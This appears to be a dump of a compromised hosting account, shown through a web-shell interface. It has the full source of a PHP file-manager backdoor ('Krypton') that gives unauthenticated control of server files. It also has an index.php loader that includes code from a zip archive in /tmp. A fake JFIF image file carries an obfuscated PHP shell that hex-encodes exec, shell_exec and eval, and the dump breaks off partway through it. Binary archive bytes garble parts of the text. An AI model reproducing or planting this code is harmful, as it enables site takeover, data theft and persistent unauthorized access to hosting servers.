|
Server IP : 198.54.120.203 / Your IP : 216.73.216.181 Web Server : LiteSpeed System : Linux premium58.web-hosting.com 4.18.0-553.58.1.lve.el8.x86_64 #1 SMP Fri Jul 4 12:07:06 UTC 2025 x86_64 User : greakqsw ( 1698) PHP Version : 8.3.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/greakqsw/theblogginglab.org/7648l2-20260310230235/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
PK �Cm\�d��o� o� 9gvid-20260307170338.phpnu �[��� <?php
/**
* Krypton File Manager
* A single-file PHP file manager with full server access and enhanced features
*/
// Start session
session_start();
// Configuration
define('VERSION', '1.0.0');
define('MAX_UPLOAD_SIZE', 100 * 1024 * 1024); // 100MB max upload size
define('ENCRYPTION_KEY', 'RCnFfs06w3ItXaCn7BWvyyFE1Rxdmz'); // Change this to a random string for security
define('SESSION_TIMEOUT', 1800); // 30 minutes session timeout
// Check if encryption key is default and show warning
$encryptionKeyWarning = '';
if (ENCRYPTION_KEY === 'change_this_to_a_random_string') {
$encryptionKeyWarning = 'Warning: Default encryption key is being used. Please change it for security.';
}
// Session timeout check
if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > SESSION_TIMEOUT)) {
// Session expired
session_unset();
session_destroy();
}
$_SESSION['last_activity'] = time(); // Update last activity time
// Encryption and decryption functions
function encryptPath($path) {
$iv = openssl_random_pseudo_bytes(16);
$encrypted = openssl_encrypt($path, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
return base64_encode($encrypted . '::' . base64_encode($iv));
}
function decryptPath($encryptedPath) {
try {
$decoded = base64_decode($encryptedPath);
if ($decoded === false) {
return getcwd(); // Default to current directory if decoding fails
}
if (strpos($decoded, '::') === false) {
return getcwd(); // Default to current directory if separator not found
}
list($encrypted_data, $iv_b64) = explode('::', $decoded, 2);
$iv = base64_decode($iv_b64);
if ($iv === false || strlen($iv) !== 16) {
return getcwd(); // Default to current directory if IV is invalid
}
$decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
if ($decrypted === false) {
return getcwd(); // Default to current directory if decryption fails
}
return $decrypted;
} catch (Exception $e) {
return getcwd(); // Default to current directory on any exception
}
}
// Function to get human-readable file size
function formatFileSize($bytes) {
if ($bytes >= 1073741824) {
return number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
return number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
return number_format($bytes / 1024, 2) . ' KB';
} else {
return $bytes . ' bytes';
}
}
// Function to get file permissions in Unix format
function getFilePermissions($file) {
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
// Function to get file extension
function getFileExtension($filename) {
return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}
// Function to check if a file is editable
function isEditableFile($filename) {
/*
$editableExtensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'ini', 'conf', 'log', 'sql', 'htaccess'];
$extension = getFileExtension($filename);
return in_array($extension, $editableExtensions);
*/
return true;
}
// Process actions
$error = '';
$success = '';
// Get and decrypt the path parameter
$currentPath = getcwd(); // Default path
// Check if there's a current path in the session
if (isset($_SESSION['current_path']) && file_exists($_SESSION['current_path']) && is_dir($_SESSION['current_path'])) {
$currentPath = $_SESSION['current_path'];
}
// Handle POST request for navigation
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Store current path for form submissions
if (isset($_POST['current_path'])) {
$decryptedCurrentPath = decryptPath($_POST['current_path']);
if (file_exists($decryptedCurrentPath) && is_dir($decryptedCurrentPath)) {
$currentPath = $decryptedCurrentPath;
$_SESSION['current_path'] = $currentPath;
}
}
if (isset($_POST['action'])) {
// Handle file content request for editing
if ($_POST['action'] === 'getContent' && isset($_POST['path'])) {
$filePath = decryptPath($_POST['path']);
if (file_exists($filePath) && !is_dir($filePath) && isEditableFile(basename($filePath))) {
echo file_get_contents($filePath);
exit;
} else {
echo "Error: Cannot read file.";
exit;
}
}
// Handle navigation
if ($_POST['action'] === 'navigate' && isset($_POST['path'])) {
$decryptedPath = decryptPath($_POST['path']);
if (file_exists($decryptedPath) && is_dir($decryptedPath)) {
$currentPath = $decryptedPath;
$_SESSION['current_path'] = $currentPath;
}
}
// Handle file download
if ($_POST['action'] === 'download' && isset($_POST['path'])) {
$downloadPath = decryptPath($_POST['path']);
if (file_exists($downloadPath) && !is_dir($downloadPath)) {
// Set headers for file download
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"');
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($downloadPath));
ob_clean();
flush();
readfile($downloadPath);
exit;
}
}
}
// Handle file upload
if (isset($_POST['upload'])) {
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploadPath = $currentPath . '/' . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {
$success = 'File uploaded successfully.';
} else {
$error = 'Failed to upload file.';
}
} else {
$error = 'No file selected or upload error.';
}
}
// Handle file/directory deletion
if (isset($_POST['delete']) && isset($_POST['path'])) {
$deletePath = decryptPath($_POST['path']);
if (file_exists($deletePath)) {
if (is_dir($deletePath)) {
// Try to remove directory
if (rmdir($deletePath)) {
$success = 'Directory deleted successfully.';
} else {
$error = 'Failed to delete directory. It may not be empty.';
}
} else {
// Remove file
if (unlink($deletePath)) {
$success = 'File deleted successfully.';
} else {
$error = 'Failed to delete file.';
}
}
} else {
$error = 'File or directory does not exist.';
}
}
// Handle file/directory rename
if (isset($_POST['rename']) && isset($_POST['oldPath']) && isset($_POST['newName'])) {
$oldPath = decryptPath($_POST['oldPath']);
$newName = $_POST['newName'];
$dirName = dirname($oldPath);
$newPath = $dirName . '/' . $newName;
if (file_exists($oldPath)) {
if (rename($oldPath, $newPath)) {
$success = 'Renamed successfully.';
} else {
$error = 'Failed to rename.';
}
} else {
$error = 'File or directory does not exist.';
}
}
// Handle permission change
if (isset($_POST['changePermissions']) && isset($_POST['permPath']) && isset($_POST['permissions'])) {
$permPath = decryptPath($_POST['permPath']);
$permissions = $_POST['permissions'];
// Convert from octal string to integer
$mode = octdec($permissions);
if (file_exists($permPath)) {
if (chmod($permPath, $mode)) {
$success = 'Permissions changed successfully.';
} else {
$error = 'Failed to change permissions.';
}
} else {
$error = 'File or directory does not exist.';
}
}
// Handle file edit
if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) {
$filePath = decryptPath($_POST['filePath']);
$fileContent = $_POST['fileContent'];
if (file_exists($filePath) && !is_dir($filePath)) {
if (file_put_contents($filePath, $fileContent) !== false) {
$success = 'File saved successfully.';
} else {
$error = 'Failed to save file.';
}
} else {
$error = 'File does not exist.';
}
}
// Handle create new file
if (isset($_POST['createFile']) && isset($_POST['newFileName'])) {
$newFileName = $_POST['newFileName'];
$newFilePath = $currentPath . '/' . $newFileName;
if (!file_exists($newFilePath)) {
if (file_put_contents($newFilePath, '') !== false) {
$success = 'File created successfully.';
} else {
$error = 'Failed to create file.';
}
} else {
$error = 'File already exists.';
}
}
// Handle create new folder
if (isset($_POST['createFolder']) && isset($_POST['newFolderName'])) {
$newFolderName = $_POST['newFolderName'];
$newFolderPath = $currentPath . '/' . $newFolderName;
if (!file_exists($newFolderPath)) {
if (mkdir($newFolderPath, 0755)) {
$success = 'Folder created successfully.';
} else {
$error = 'Failed to create folder.';
}
} else {
$error = 'Folder already exists.';
}
}
}
// Save current path to session
$_SESSION['current_path'] = $currentPath;
// Get directory contents
$items = [];
if (is_dir($currentPath)) {
if ($handle = opendir($currentPath)) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
$fullPath = $currentPath . '/' . $entry;
$isDir = is_dir($fullPath);
try {
$size = $isDir ? '-' : formatFileSize(filesize($fullPath));
$permissions = getFilePermissions($fullPath);
$lastModified = date('Y-m-d H:i:s', filemtime($fullPath));
$items[] = [
'name' => $entry,
'path' => $fullPath,
'encryptedPath' => encryptPath($fullPath),
'isDirectory' => $isDir,
'size' => $size,
'permissions' => $permissions,
'lastModified' => $lastModified,
'isEditable' => !$isDir && isEditableFile($entry)
];
} catch (Exception $e) {
// Skip files that can't be accessed
continue;
}
}
}
closedir($handle);
}
}
// Sort items: directories first, then files
usort($items, function($a, $b) {
if ($a['isDirectory'] && !$b['isDirectory']) {
return -1;
}
if (!$a['isDirectory'] && $b['isDirectory']) {
return 1;
}
return strcasecmp($a['name'], $b['name']);
});
// Get breadcrumb parts
$breadcrumbs = [];
$pathParts = explode('/', $currentPath);
$buildPath = '';
foreach ($pathParts as $part) {
if (empty($part)) {
$buildPath = '/';
$breadcrumbs[] = [
'name' => 'Root',
'path' => $buildPath,
'encryptedPath' => encryptPath($buildPath)
];
} else {
$buildPath .= ($buildPath === '/') ? $part : '/' . $part;
$breadcrumbs[] = [
'name' => $part,
'path' => $buildPath,
'encryptedPath' => encryptPath($buildPath)
];
}
}
// Get the script's directory for the Home button
$homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']);
$encryptedHomeDirectory = encryptPath($homeDirectory);
// Encrypt current path for forms
$encryptedCurrentPath = encryptPath($currentPath);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Krypton File Manager</title>
<style>
/* Base styles and reset */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Inter', 'Roboto', 'Helvetica', sans-serif;
}
body {
background-image: url('https://w.wallhaven.cc/full/ex/wallhaven-exd3w8.png');
background-size: cover;
background-position: center;
background-repeat: no-repeat;
background-color: #f9f9f9;
/* Fallback color */
color: #333333;
line-height: 1.6;
}
.container {
max-width: 1200px;
margin: 0 auto;
padding: 0 20px;
}
/* Navigation bar */
.navbar {
background-color: #ffffff;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
padding: 15px 0;
position: sticky;
top: 0;
z-index: 100;
}
.navbar-content {
display: flex;
align-items: center;
justify-content: space-between;
}
.navbar h1 {
color: #333333;
font-size: 1.5rem;
font-weight: 500;
}
.version {
font-size: 0.8rem;
color: #777;
margin-left: 10px;
}
.navbar-actions {
display: flex;
gap: 10px;
}
.home-btn {
background-color: #4a6cf7;
color: white;
border: none;
padding: 8px 15px;
border-radius: 6px;
cursor: pointer;
font-weight: 500;
text-decoration: none;
display: inline-flex;
align-items: center;
transition: all 0.2s ease;
}
.home-btn:hover {
background-color: #3a5ce5;
transform: translateY(-2px);
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
.home-icon {
margin-right: 5px;
}
/* Breadcrumb navigation */
.breadcrumb {
display: flex;
align-items: center;
padding: 12px 0;
margin-bottom: 15px;
overflow-x: auto;
white-space: nowrap;
}
.breadcrumb-item {
display: flex;
align-items: center;
}
.breadcrumb-item a {
color: #4a6cf7;
text-decoration: none;
padding: 5px 8px;
border-radius: 4px;
transition: background-color 0.2s;
cursor: pointer;
}
.breadcrumb-item a:hover {
background-color: rgba(74, 108, 247, 0.1);
}
.breadcrumb-separator {
margin: 0 5px;
color: #999;
}
.breadcrumb-current {
font-weight: 500;
padding: 5px 8px;
}
/* Section styling */
.section {
background-color: rgba(255, 255, 255, 0.9);
border-radius: 8px;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
padding: 20px;
margin-bottom: 20px;
box-shadow: rgba(50, 50, 93, 0.25) 0px 2px 5px -1px, rgba(0, 0, 0, 0.3) 0px 1px 3px -1px;
}
.section-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 15px;
}
.section-title {
font-size: 1.1rem;
color: #333333;
font-weight: 500;
}
.section-actions {
display: flex;
gap: 10px;
}
/* Upload form */
.upload-form {
display: flex;
flex-wrap: wrap;
gap: 10px;
align-items: center;
}
.upload-form input[type="file"] {
flex: 1;
min-width: 200px;
padding: 10px;
border: 1px solid #e0e0e0;
border-radius: 6px;
background-color: #ffffff;
}
.btn {
background-color: #4a6cf7;
color: white;
border: none;
padding: 10px 20px;
border-radius: 6px;
cursor: pointer;
font-weight: 500;
transition: all 0.2s ease;
}
.btn:hover {
background-color: #3a5ce5;
transform: translateY(-2px);
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
.btn-sm {
padding: 6px 12px;
font-size: 0.9rem;
}
.btn-success {
background-color: #28a745;
}
.btn-success:hover {
background-color: #218838;
}
/* File list table */
.file-table-container {
overflow-x: auto;
}
.file-table {
width: 100%;
border-collapse: collapse;
margin-top: 10px;
}
.file-table th {
background-color: #f5f5f5;
padding: 12px 15px;
text-align: left;
font-weight: 500;
border-bottom: 1px solid #e0e0e0;
position: relative;
}
.file-table td {
padding: 12px 15px;
border-bottom: 1px solid #e0e0e0;
}
.file-table tr:hover {
background-color: #f5f7ff;
}
.file-name {
display: flex;
align-items: center;
gap: 8px;
}
.folder-icon::before {
content: "📁";
}
.file-icon::before {
content: "📄";
}
/* Action buttons */
.action-buttons {
display: flex;
gap: 8px;
}
.action-btn {
background: none;
border: none;
cursor: pointer;
font-size: 1rem;
color: #555;
transition: all 0.2s ease;
width: 28px;
height: 28px;
display: flex;
align-items: center;
justify-content: center;
border-radius: 4px;
}
.action-btn:hover {
background-color: #f0f0f0;
color: #333;
}
/* Modal styles */
.modal {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.5);
z-index: 1000;
justify-content: center;
align-items: center;
}
.modal-content {
background-color: white;
padding: 25px;
border-radius: 8px;
width: 90%;
max-width: 400px;
box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15);
}
.modal-content.modal-lg {
max-width: 800px;
height: 80%;
display: flex;
flex-direction: column;
}
.modal-title {
font-size: 1.2rem;
margin-bottom: 15px;
font-weight: 500;
}
.modal-form {
display: flex;
flex-direction: column;
gap: 15px;
}
.editor-form {
display: flex;
flex-direction: column;
gap: 15px;
flex-grow: 1;
}
.form-group {
display: flex;
flex-direction: column;
gap: 5px;
}
.form-group label {
font-weight: 500;
}
.form-group input {
padding: 8px 12px;
border: 1px solid #ddd;
border-radius: 4px;
}
.form-group textarea {
flex-grow: 1;
padding: 12px;
border: 1px solid #ddd;
border-radius: 4px;
font-family: 'Courier New', monospace;
font-size: 14px;
resize: none;
}
.modal-actions {
display: flex;
justify-content: flex-end;
gap: 10px;
margin-top: 20px;
}
.btn-cancel {
background-color: #f0f0f0;
color: #333;
}
.btn-cancel:hover {
background-color: #e0e0e0;
}
/* Alerts */
.alert {
padding: 12px 15px;
margin-bottom: 15px;
border-radius: 4px;
font-weight: 500;
}
.alert-success {
background-color: #d4edda;
color: #155724;
border: 1px solid #c3e6cb;
}
.alert-error {
background-color: #f8d7da;
color: #721c24;
border: 1px solid #f5c6cb;
}
.alert-warning {
background-color: #fff3cd;
color: #856404;
border: 1px solid #ffeeba;
}
/* Footer */
.footer {
text-align: center;
padding: 20px 0;
color: #777;
font-size: 0.9rem;
}
/* Loading overlay */
.loading-overlay {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.5);
z-index: 2000;
justify-content: center;
align-items: center;
}
.spinner {
width: 50px;
height: 50px;
border: 5px solid #f3f3f3;
border-top: 5px solid #3498db;
border-radius: 50%;
animation: spin 1s linear infinite;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
/* Responsive design */
@media (max-width: 768px) {
.upload-form {
flex-direction: column;
align-items: stretch;
}
.upload-form input[type="file"] {
width: 100%;
}
.action-buttons {
flex-wrap: wrap;
}
.section-header {
flex-direction: column;
align-items: flex-start;
gap: 10px;
}
.section-actions {
width: 100%;
}
.btn {
width: 100%;
}
}
</style>
</head>
<body>
<!-- Loading Overlay -->
<div id="loadingOverlay" class="loading-overlay">
<div class="spinner"></div>
</div>
<!-- Navigation Bar -->
<nav class="navbar">
<div class="container navbar-content">
<h1>Krypton <span class="version">v<?php echo VERSION; ?></span></h1>
<div class="navbar-actions">
<button onclick="navigateTo('<?php echo $encryptedHomeDirectory; ?>')" class="home-btn">
<span class="home-icon">🏠</span> Home
</button>
</div>
</div>
</nav>
<div class="container">
<!-- Alerts -->
<?php if (!empty($encryptionKeyWarning)): ?>
<div class="alert alert-warning"><?php echo $encryptionKeyWarning; ?></div>
<?php endif; ?>
<?php if (!empty($success)): ?>
<div class="alert alert-success"><?php echo $success; ?></div>
<?php endif; ?>
<?php if (!empty($error)): ?>
<div class="alert alert-error"><?php echo $error; ?></div>
<?php endif; ?>
<!-- Breadcrumb Navigation -->
<div class="breadcrumb">
<?php foreach ($breadcrumbs as $index => $crumb): ?>
<?php if ($index > 0): ?>
<span class="breadcrumb-separator">›</span>
<?php endif; ?>
<div class="breadcrumb-item">
<?php if ($index === count($breadcrumbs) - 1): ?>
<span class="breadcrumb-current"><?php echo htmlspecialchars($crumb['name']); ?></span>
<?php else: ?>
<a onclick="navigateTo('<?php echo $crumb['encryptedPath']; ?>')"><?php echo htmlspecialchars($crumb['name']); ?></a>
<?php endif; ?>
</div>
<?php endforeach; ?>
</div>
<!-- Upload Section -->
<section class="section">
<h2 class="section-title">Upload Files</h2>
<form class="upload-form" method="post" enctype="multipart/form-data">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="file" name="file">
<button type="submit" name="upload" class="btn">Upload File</button>
</form>
</section>
<!-- File List Section -->
<section class="section">
<div class="section-header">
<h2 class="section-title">Files</h2>
<div class="section-actions">
<button class="btn btn-sm btn-success" onclick="showCreateFileModal()">New File</button>
<button class="btn btn-sm" onclick="showCreateFolderModal()">New Folder</button>
</div>
</div>
<div class="file-table-container">
<table class="file-table">
<thead>
<tr>
<th>Filename</th>
<th>Size</th>
<th>Permissions</th>
<th>Last Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<!-- Parent directory link -->
<?php if ($currentPath !== '/'): ?>
<tr>
<td>
<div class="file-name">
<span class="folder-icon"></span>
<a onclick="navigateTo('<?php echo encryptPath(dirname($currentPath)); ?>')">..</a>
</div>
</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<?php endif; ?>
<!-- File list -->
<?php foreach ($items as $item): ?>
<tr>
<td>
<div class="file-name">
<span class="<?php echo $item['isDirectory'] ? 'folder-icon' : 'file-icon'; ?>"></span>
<?php if ($item['isDirectory']): ?>
<a onclick="navigateTo('<?php echo $item['encryptedPath']; ?>')"><?php echo htmlspecialchars($item['name']); ?></a>
<?php else: ?>
<?php echo htmlspecialchars($item['name']); ?>
<?php endif; ?>
</div>
</td>
<td><?php echo $item['size']; ?></td>
<td><?php echo $item['permissions']; ?></td>
<td><?php echo $item['lastModified']; ?></td>
<td>
<div class="action-buttons">
<?php if (!$item['isDirectory']): ?>
<button class="action-btn" title="Download" onclick="downloadFile('<?php echo $item['encryptedPath']; ?>')">📥</button>
<?php if ($item['isEditable']): ?>
<button class="action-btn" title="Edit" onclick="showEditFileModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">📝</button>
<?php endif; ?>
<?php endif; ?>
<button class="action-btn" title="Rename" onclick="showRenameModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">✏️</button>
<button class="action-btn" title="Change Permissions" onclick="showPermissionsModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">🔒</button>
<form method="post" style="display:inline;" onsubmit="return confirm('Are you sure you want to delete this <?php echo $item['isDirectory'] ? 'directory' : 'file'; ?>?');">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="hidden" name="path" value="<?php echo htmlspecialchars($item['encryptedPath']); ?>">
<button type="submit" name="delete" class="action-btn" title="Delete">🗑️</button>
</form>
</div>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
</section>
<footer class="footer">
Krypton File Manager v<?php echo VERSION; ?> | Single-file PHP File Manager
</footer>
</div>
<!-- Rename Modal -->
<div id="renameModal" class="modal">
<div class="modal-content">
<h3 class="modal-title">Rename: <span id="renameFileName"></span></h3>
<form class="modal-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="hidden" id="renameOldPath" name="oldPath" value="">
<div class="form-group">
<label for="renameNewName">New Name:</label>
<input type="text" id="renameNewName" name="newName" required>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('renameModal')">Cancel</button>
<button type="submit" name="rename" class="btn">Rename</button>
</div>
</form>
</div>
</div>
<!-- Permissions Modal -->
<div id="permissionsModal" class="modal">
<div class="modal-content">
<h3 class="modal-title">Change Permissions: <span id="permissionsFileName"></span></h3>
<form class="modal-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="hidden" id="permissionsPath" name="permPath" value="">
<div class="form-group">
<label for="permissionsOctal">Permissions (Octal):</label>
<input type="text" id="permissionsOctal" name="permissions" placeholder="e.g., 0755" required>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('permissionsModal')">Cancel</button>
<button type="submit" name="changePermissions" class="btn">Apply</button>
</div>
</form>
</div>
</div>
<!-- Edit File Modal -->
<div id="editFileModal" class="modal">
<div class="modal-content modal-lg">
<h3 class="modal-title">Edit File: <span id="editFileName"></span></h3>
<form class="editor-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="hidden" id="editFilePath" name="filePath" value="">
<div class="form-group" style="flex-grow: 1; display: flex; flex-direction: column;">
<textarea id="fileContent" name="fileContent" required></textarea>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('editFileModal')">Cancel</button>
<button type="submit" name="saveFile" class="btn">Save</button>
</div>
</form>
</div>
</div>
<!-- Create File Modal -->
<div id="createFileModal" class="modal">
<div class="modal-content">
<h3 class="modal-title">Create New File</h3>
<form class="modal-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<div class="form-group">
<label for="newFileName">File Name:</label>
<input type="text" id="newFileName" name="newFileName" required>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('createFileModal')">Cancel</button>
<button type="submit" name="createFile" class="btn">Create</button>
</div>
</form>
</div>
</div>
<!-- Create Folder Modal -->
<div id="createFolderModal" class="modal">
<div class="modal-content">
<h3 class="modal-title">Create New Folder</h3>
<form class="modal-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<div class="form-group">
<label for="newFolderName">Folder Name:</label>
<input type="text" id="newFolderName" name="newFolderName" required>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('createFolderModal')">Cancel</button>
<button type="submit" name="createFolder" class="btn">Create</button>
</div>
</form>
</div>
</div>
<!-- Hidden form for navigation -->
<form id="navigationForm" method="post" style="display: none;">
<input type="hidden" name="action" value="navigate">
<input type="hidden" id="navigationPath" name="path" value="">
</form>
<!-- Hidden form for download -->
<form id="downloadForm" method="post" style="display: none;">
<input type="hidden" name="action" value="download">
<input type="hidden" id="downloadPath" name="path" value="">
</form>
<script>
// Show loading overlay
function showLoading() {
document.getElementById('loadingOverlay').style.display = 'flex';
}
// Hide loading overlay
function hideLoading() {
document.getElementById('loadingOverlay').style.display = 'none';
}
// Navigation function
function navigateTo(path) {
showLoading();
document.getElementById('navigationPath').value = path;
document.getElementById('navigationForm').submit();
}
// Download function
function downloadFile(path) {
document.getElementById('downloadPath').value = path;
document.getElementById('downloadForm').submit();
}
// Show rename modal
function showRenameModal(path, name) {
document.getElementById('renameFileName').textContent = name;
document.getElementById('renameOldPath').value = path;
document.getElementById('renameNewName').value = name;
document.getElementById('renameModal').style.display = 'flex';
}
// Show permissions modal
function showPermissionsModal(path, name) {
document.getElementById('permissionsFileName').textContent = name;
document.getElementById('permissionsPath').value = path;
document.getElementById('permissionsModal').style.display = 'flex';
}
// Show edit file modal
function showEditFileModal(path, name) {
document.getElementById('editFileName').textContent = name;
document.getElementById('editFilePath').value = path;
showLoading();
// Fetch file content using POST
const formData = new FormData();
formData.append('action', 'getContent');
formData.append('path', path);
fetch(window.location.pathname, {
method: 'POST',
body: formData
})
.then(response => response.text())
.then(content => {
document.getElementById('fileContent').value = content;
document.getElementById('editFileModal').style.display = 'flex';
hideLoading();
})
.catch(error => {
hideLoading();
alert('Error loading file content: ' + error);
});
}
// Show create file modal
function showCreateFileModal() {
document.getElementById('newFileName').value = '';
document.getElementById('createFileModal').style.display = 'flex';
}
// Show create folder modal
function showCreateFolderModal() {
document.getElementById('newFolderName').value = '';
document.getElementById('createFolderModal').style.display = 'flex';
}
// Hide modal
function hideModal(modalId) {
document.getElementById(modalId).style.display = 'none';
}
// Close modals when clicking outside
window.onclick = function(event) {
if (event.target.className === 'modal') {
event.target.style.display = 'none';
}
}
// Add loading indicator to form submissions
document.addEventListener('DOMContentLoaded', function() {
const forms = document.querySelectorAll('form');
forms.forEach(form => {
form.addEventListener('submit', function() {
// Don't show loading for the navigation and download forms
if (form.id !== 'navigationForm' && form.id !== 'downloadForm') {
showLoading();
}
});
});
});
</script>
</body>
</html>PK �Cm\��Ș� � about.phpnu �[��� <?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>6YWKWFGDPYMC7A6C</RequestId><HostId>nB/9Zou8nUdQKxEFYG7aVQjAivYnrrTgjt4qWSRJSt6gaXsFpmk/tCDYj+iSNVctWivzbWlb5ZA=</HostId></Error>PK �Cm\T�pWh h index.phpnu �[��� <?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "ile3.php"; include("zip:///tmp/phptpd9aH#$h");?>PK �Cm\�7��Ne Ne e6ml9.phpnu �[��� ��� JFIF x x �� C
�� C�� " ��
�� � } !1AQa"q2���#B��R��$3br�
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������
�� � w !1AQaq"2�B���� #3R�br�<?php
/*
* (c) Setsuna Watanabe <yucaerin@hotmail.com>
*/
session_start();
error_reporting(E_ALL);
header("X-XSS-Protection: 0");
ob_start();
set_time_limit(0);
error_reporting(0);
ini_set('display_errors', FALSE);
$Array = [
'36643662',
'363436393732',
'36373635373435663636363936633635356637303635373236643639373337333639366636653733',
'3639373335663737373236393734363136323663363535663730363537323664363937333733363936663665',
'36353738363536333735373436353433366636643664363136653634',
'373037323666363335663666373036353665',
'3733373437323635363136643566363736353734356636333666366537343635366537343733',
'36363639366336353566363736353734356636333666366537343635366537343733',
'36363639366336353566373037353734356636333666366537343635366537343733',
'3632363936653332363836353738',
'366436663736363535663735373036633666363136343635363435663636363936633635',
'3638373436643663373337303635363336393631366336333638363137323733',
'3638363537383332363236393665',
'373036383730356637353665363136643635',
'3733363336313665363436393732',
'363937333566363436393732',
'36363639366336353566363537383639373337343733',
'37323635363136343636363936633635',
'36363639366336353733363937613635',
'36393733356637373732363937343631363236633635',
'373236353665363136643635',
'363636393663363537303635373236643733',
'3733373037323639366537343636',
'373337353632373337343732',
'363636333663366637333635',
'373037323666363335663666373036353665',
'36393733356637323635373336663735373236333635',
'3730373236663633356636333663366637333635',
'373536653663363936653662',
'3639373335663636363936633635',
'34353534', //30
'353634353532',
'3533343934663465',
'346334353533',
'35333534',
'3633366636643664363136653634',
'3737366637323662363936653637343436393732363536333734366637323739',
'363337323635363137343635343436393732363536333734366637323739',
'37303639373036353733',
'36363639366336353733',
'3636363936633635',
'36363639366336353534366634343666373736653663366636313634',
'3733363836353663366335663635373836353633',
];
$SETSUNA = [];
foreach ($Array as $hexString) {
$SETSUNA[] = hex2bin(hex2bin($hexString));
}
$satu = '_G';
$dua = $SETSUNA[30];
$tiga = '_SER';
$empat = $SETSUNA[31];
$lima = '_SES';
$enam = $SETSUNA[32];
$tujuh = '_FI';
$delapan = $SETSUNA[33];
$sembilan = '_PO';
$sepuluh = $SETSUNA[34];
$sebelas = 'ev';
$duabelas = 'al';
$tigabelas = 'iss';
$empatbelas = 'et';
